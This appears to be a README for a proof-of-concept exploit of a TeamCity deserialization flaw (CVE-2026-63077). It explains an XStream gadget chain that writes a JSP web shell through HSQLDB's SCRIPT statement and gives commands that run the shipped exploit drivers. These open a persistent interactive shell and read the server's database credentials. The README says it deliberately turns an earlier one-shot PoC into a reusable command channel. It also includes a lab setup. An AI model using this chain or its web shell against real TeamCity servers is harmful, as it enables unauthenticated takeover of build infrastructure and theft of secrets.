PoC and verification material for CVE-2026-63077 (JetBrains TeamCity agent-polling deserialization RCE)
PoC and verification material for CVE-2026-63077 (GHSA-94gx-v738-fx9w, "unauthenticated remote code execution in JetBrains TeamCity", CVSS v3.1 9.8 Critical, CWE-502) — fixed in TeamCity 2026.1.3 and 2025.11.7.
Overview — TeamCity's agent polling protocol is reachable without any credentials.
POST /app/agents/v1/registerissues aTeamCity-AgentSessionIdto anyone, and/app/agents/v1/commands/errordeserialises the request body with an XStream mapper whose type allowlist is not exclusive (the mapper never installsNoTypePermission.NONEfirst, so XStream's default permissions stay in force). An attacker-reachable HTTP port is therefore enough to submit an XML object graph that TeamCity rebuilds into live server objects and ends in a JDBCgetConnection()call — bent into an arbitrary file write through HSQLDB'sSCRIPTstatement, where the written row is itself a JSP scriptlet: a working web shell and command execution as the server user. The fix installsNoTypePermission.NONEbefore the allowlist, making it deny-by-default.
| Tier | Status | Evidence |
|---|---|---|
Reliability: 10/10 runs per exploit variant on 2026.1.2 (uid=1000(tcuser) returned each run) | captured | evidence/01-reliability-readable-10x.txt, evidence/02-reliability-opt-10x.txt |
Patched-build negative on 2026.1.3, efficiency variant: FAILED, no webshell, no output | captured | evidence/03-negative-patched-opt.txt |
| Patched-build negative on 2026.1.3, readable variant: same rejection | captured | evidence/04-negative-patched-readable.txt |
Max-impact demonstration: unauthenticated RCE as tcuser — id/host/kernel + exfiltration of the server's database connection settings from the data directory | captured | evidence/05-impact-secret-exfiltration.txt |
Server-side IOC pair: vulnerable build logs the XStream ConversionException executing the gadget, patched build logs ForbiddenClassException blocking it | captured | evidence/06-server-side-ioc.txt |
| Per-run timing across both variants (corrected millisecond measurement) | captured | evidence/07-timing-comparison.txt |
Evidence transcripts are kept as captured; the leading Command:/CWD:
headers had the operator home path masked as ~ (visible mask, nothing else
touched). Some Command: headers reference the foundry's internal workspace
layout (~/.b63/projects/...) and internal driver filenames; the shipped
poc/ drivers reproduce the same chain, and lab/ reproduces the captured
environment.
poc/exploit_opt.py compact driver: register -> error -> webshell GET, one keep-alive connection
poc/exploit_readable.py same chain, stage-by-stage tutorial code
lab/compose.yml official vendor images pinned by digest: 2026.1.2 (8111) vs 2026.1.3 (8112)
lab/teamcity-vuln/config/database.properties pre-seeded internal-HSQLDB data dir, vulnerable twin
lab/teamcity-patched/config/database.properties pre-seeded internal-HSQLDB data dir, patched twin
lab/confirm_teamcity_start.py walks TeamCity's first-start wizard screens unattended (no admin setup)
evidence/ captured lab transcripts (paths scrubbed, see above)
Both PoCs speak to local lab instances; the same chain works against any TeamCity instance you are explicitly authorized to test. Python 3.10+ standard library only.
# one command, output returned
python3 poc/exploit_opt.py --url http://127.0.0.1:8111 --cmd "id"
# interactive shell
python3 poc/exploit_opt.py --url http://127.0.0.1:8111
b63> cat /data/teamcity_server/datadir/config/database.properties
b63> exit
Knobs (both variants): --url (default http://127.0.0.1:8111), --cmd
(run one command and exit; omit for a shell), --webroot (the only
environment-dependent knob — default ../webapps/ROOT, right for the official
Docker image whose JVM cwd is /opt/teamcity/bin; WAR deployments need the
external container's web application root, absolute paths accepted),
--timeout (per-request, default 30 s).
Expected on a vulnerable target: two [b63] stage markers (session issued,
webshell dropped) then raw command output, e.g.
uid=1000(tcuser) gid=1000(tcuser) groups=1000(tcuser). The command channel
is persistent — every later GET with a different ?c= command executes
again. On the patched build: [b63] FAILED ... and exit 1; nothing is faked.
Exit codes: 0 executed, 1 JSP not reachable / patched / target down.
The payload is a linked-hash-map with three ordered entries:
HSQLMetadataStorage$SchemaMismatchException
is a Throwable, hence permitted by XStream's defaults; its declared fields
let the graph build an Apache Commons DBCP2 BasicDataSource with a
jdbc:hsqldb:mem: URL and three connectionInitSqls
(CREATE TABLE ..., INSERT INTO ... VALUES ('<% JSP scriptlet %>'),
SCRIPT '<webroot>/<rand>.jspws').freemarker.ext.beans.HashAdapter is a Map,
hence permitted; its wrapper's inherited object field is re-pointed via an
XPath reference at the datasource allocated in entry 1.TiedMapEntry (a Map.Entry) inside a HashSet
(a Collection): HashSet.add → hashCode → getValue →
map.get("connection") → FreeMarker bean property read →
BasicDataSource.getConnection() → DBCP runs the init SQL.HSQLDB's SCRIPT statement dumps the in-memory database to an
attacker-chosen path relative to the server's working directory; the dumped row
contains the JSP scriptlet verbatim, so the SQL dump is a JSP page (an
SQL/JSP polyglot — the same trick Secfault Security used against LibreOffice).
TeamCity maps .jspws to Jasper; the first anonymous GET compiles and
executes it.
Wire summary: POST /app/agents/v1/register → session header; POST /app/agents/v1/commands/error → HTTP 500 after the SQL has run (500 is the
success case); GET /<rand>.jspws?c=<command> → output between per-run
random markers.
Note on reuse: earlier public research on this CVE ships a one-shot PoC —
it proves the bug with a single Runtime.exec() and then deletes its own
JSP — no output, no reuse. The shipped PoCs keep the
gadget chain intact and replace the impact stage with a ProcessBuilder
shell returning stdout/stderr, so each request is a full command round trip.
cd lab
docker compose up -d # official images pinned by digest, loopback-only ports
sleep 60
V=$(docker logs cve-2026-63077-vuln 2>&1 | grep -oE 'Super user authentication token: [0-9]+' | head -1 | grep -oE '[0-9]+')
P=$(docker logs cve-2026-63077-patched 2>&1 | grep -oE 'Super user authentication token: [0-9]+' | head -1 | grep -oE '[0-9]+')
python3 confirm_teamcity_start.py --super-token "$V" --super-token "$P"
docker compose ps